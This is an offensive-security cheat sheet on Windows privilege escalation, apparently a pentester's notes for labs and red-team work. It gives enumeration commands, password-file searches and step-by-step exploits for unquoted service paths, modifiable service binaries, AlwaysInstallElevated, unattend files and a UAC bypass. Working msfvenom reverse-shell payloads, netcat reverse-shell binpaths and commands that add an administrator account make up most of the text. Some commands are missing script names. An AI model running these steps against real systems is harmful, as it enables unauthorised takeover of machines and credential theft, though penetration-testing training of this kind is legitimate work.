Privilege escalation: Windows
If you started hacking on Linux, Windows can be frustrating and weird. But that's what most networks are running, from desktops to domain controllers. So you just have to get used to it.
Also, if you're doing a red team exercise and not just messing around on a lab machine or pen test, think long and hard about whether you need to privesc because it can alert the blue team. Even system enumeration commands like whoami and hostname might be detected because the average user isn't asking themselves this shit in between emails.

Gathering system information

Be warned, these commands will generate an overwhelming amount of information.

System information

Find out some basic information about the host:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
echo %username%
net users
net user user1
Output from the systeminfo command is useful for passing into script-based exploit suggesters (see below).

Active network connections

netstat -ano

Firewall settings

netsh firewall show state
netsh firewall show config

Scheduled tasks

schtasks /query /fo LIST /v

Running processes

Running processes linked to services:
tasklist /SVC
Running services:
net start

Installed drivers


Installed patches

wmic qfe get Caption,Description,HotFixID,InstalledOn

Program permissions

Check if a program has insecure permissions (e.g. anyone can read/write):
icacls program.exe
program.exe NT AUTHORITY\SYSTEM:(I)(F)
Everyone:(I)(F) # uh oh

Interesting files

Search for files that contain ‘password’ in the filename:
dir /s *password*
Search for the keyword ‘password’ in files with the .txt extension:
findstr /si password *.txt
Check for mapped drives (not gonna lie, you can pop a whole network by mining shared drives):
net use

Unquoted service path

This is a common vulnerability for installed programs that don't put quotes around the file path to the executable:
C:\Program Files\Some Software\Software.exe #unquoted
"C:\Program Files\Some Software\Software.exe"
When Windows tries to locate the program, it guesses and tries to execute any word before a space. For example, in the unquoted service path above, Windows will try:
C:\Program Files\Some.exe
C:\Program Files\Some Software\Software.exe
An attacker could exploit this behaviour by putting a malicious program earlier in the file path so that Windows executes it before the legitimate one. In order for this to be successful, these conditions must be true:
  1. 1.
    There is a service with an unquoted binary path containing one or more spaces in the path
  2. 2.
    The current user has Write permissions for the folders containing spaces
  3. 3.
    There is a way to reboot the system or service in order to execute a payload
List all services with an unquoted service path:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
If this returns a an unquoted service path, use icacls to check permissions on each directory in the path:
icacls "C:\Program Files\Some Software\"
If you can write to this directory, you can replace the executable with malicious one called Some.exe. This principle also applies to higher folders in the directory structure, if you have write permissions ('C:' and 'C:\Program Files'.
You can create a malicious .exe that sends a reverse shell to your machine with Metasploit (assuming there is no antivirus, haha):
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=[attack machine] LPORT=443 -f exe -o servicename.exe
Then restart the service:
sc stop [service name]
sc start [service name]
If you don't have permission to restart the service, you'll have to wait for a system reboot or a more privileged user to restart it.
If you're super lazy you can just use this Metasploit module: exploit/windows/local/trusted_service_path

Modifying binary service path

Similar to the unquoted service path vulnerability, you can attempt to modify the file path of a service and point it to a malicious executable in a writable directory.
Windows has a tool called named accesschk.exe which checks permissions. To display services which can be modified by an authenticated user:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
A service with write permissions for an authenticated user looks like this:
RW [service name] SERVICE_ALL_ACCESS
Show the service properties:
sc qc [service name]
This is where you can find out the BINARY_PATH_NAME value. Change the binary path on a particular service:
sc config [service name] binpath= "C:\tmp\nc.exe -nv [attack machine] 4444 -e C:\WINDOWS\System32\cmd.exe"
sc qc [service name]
sc stop [service name]
sc start [service name]
If the service is disabled when you type in sc qc [service name] you can enable it using sc config SSDPSRV start= auto - note that there is a space between the = and the option.
Common errors include ftp-ing nc.exe without using the binary command first and using the wrong " in the path. If you're working with Windows XP, you'll need to download this version. Also, the Administrator shell fired using this method will not last, so you should send yourself another shell immediately with a different port:
C:\tmp\nc.exe -nv [attack machine] 80 -e C:\WINDOWS\System32\cmd.exe
You can also add a new user and grant administrator rights using the binary path:
sc config [service name] binpath= "net user admin password /add"
sc stop [service name]
sc start [service name]
sc config [service name] binpath= "net localgroup Administrators admin /add"
sc stop [service name]
sc start [service name]
Again, if you're super lazy here's a Metasploit Module: exploit/windows/local/service_permissions

AlwaysInstallElevated setting

Windows registry has a setting that allows non-privileged users to install Microsoft Windows Installer Package Files (MSI) with elevated system permissions. There are 2 registry entries which have to be set to 1 to enable this setting.
Check the values of the registry keys:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If AlwaysInstallElevated is enabled in the registry entries you can create an installer payload with msfvenom (again assuming there is no antivirus):
msfvenom -p windows/adduser USER=admin PASS=password -f msi –o filename.msi
Generate a payload with a reverse shell:
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=[attacking host] LPORT=443 -f msi -o filename.msi
Then use the following command to execute the msi installer file:
msiexec /quiet /qn /i C:\Users\filename.msi
A summary of these flags:
  • /quiet will bypass User Account Control (UAC)
  • /qn specifies not to use a GUI
  • /i is to perform a regular installation of the package
For the lazy, here's a Metasploit module: exploit/windows/local/always_install_elevated

Unattended Installs

Unattended Installs allows administrators to deploy Windows in a hands-off way. However, if they don't clean up after this process, an XML file called Unattend is left on the local system, full of configuration settings and possibly local account configurations (e.g. Administrators).
Unattend files are often found in these folders:
Common filenames:
Passwords in these files may be base64 encoded, decode them here or in Burp Decoder.
And if you're lazy, a Metasploit module: post/windows/gather/enum_unattend

BypassUAC Metasploit module

If you have a meterpreter shell and getsystem isn't working, you can try this method, which uses the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off.
First background your meterpreter session:
Then set the UAC bypass module:
use exploit/windows/local/bypassuac
Set the session ID and the listening host IP:
set session [Session ID]
set lhost [attacking host]
This will spawn a second shell with UAC disabled, which might help you get NT/AUTHORITY\SYSTEM


Windows Exploit Suggester

Windows Exploit Suggester is a tool to identify missing patches and associated exploits on a Windows host. It uses the output of systeminfo and compares it against the Microsoft vulnerability database, which is automatically downloaded and stores as a spreadsheet. Based on the output, the tool lists public exploits (E) and Metasploit modules (M).
If you don't have it, you can clone the git repository:
git clone
You may need to install the python-xlrd dependency for parsing Excel spreadsheets:
apt-get update
apt-get install python-xlrd
Change the working directory to the Windows Exploit Suggester directory and run the updater:
python --update
At that point, you should run systeminfo on the victim machine and save the contents as a text file:
Then run Windows Exploit Suggester to find vulnerabilities:
python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt
As with any script-based exploit suggester, there are false positives and junk data. To reduce the output to local vulnerabilities, add the --local option
python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt --local
Similarly, to filter output to remote vulnerabilities use --remote:
python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt --remote

WMI hotfixes

If can't retrieve installed hotfixes from systeminfo you can find installed patches using the WMI command-line (WMIC) utility:
wmic qfe list full
Store the output in a file named and run Windows Exploit Suggester with the following options:
python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt --hotfixes hotfixes.txt

Metasploit local exploit suggester

If you have a Meterpreter shell running, you can discover local exploits:
meterpreter > run post/multi/recon/local_exploit_suggester
The output is okay, but there seem to be a lot of false positives and incorrect versions.

Powersploit Privesc

This one might also be useful but I haven't tried it yet:
If you have a Windows exploit written in python, you can create an executable by installing PyWin32 and then extracting and running the pyinstaller module:
python --onefile

Further reading